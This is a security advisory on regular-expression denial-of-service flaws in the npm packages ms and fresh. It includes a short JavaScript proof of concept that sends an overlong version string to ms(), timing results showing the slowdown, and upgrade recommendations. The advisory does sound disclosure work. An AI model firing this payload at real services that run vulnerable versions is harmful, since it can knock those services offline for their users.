Version Details and Security Vulnerabilities

Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string.

$ time node ms.js 10000

real	0m0.758s
user	0m0.724s
sys	0m0.031s

$ time node ms.js 20000

real	0m2.580s
user	0m2.494s
sys	0m0.047s

$ time node ms.js 30000

real	0m5.747s
user	0m5.483s
sys	0m0.080s

$ time node ms.js 80000

real	0m41.022s
user	0m38.894s
sys	0m0.529s

A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.

Affected versions of fresh are vulnerable to regular expression denial of service when parsing specially crafted user input.

Recommendation

Update to version 0.5.2 or later.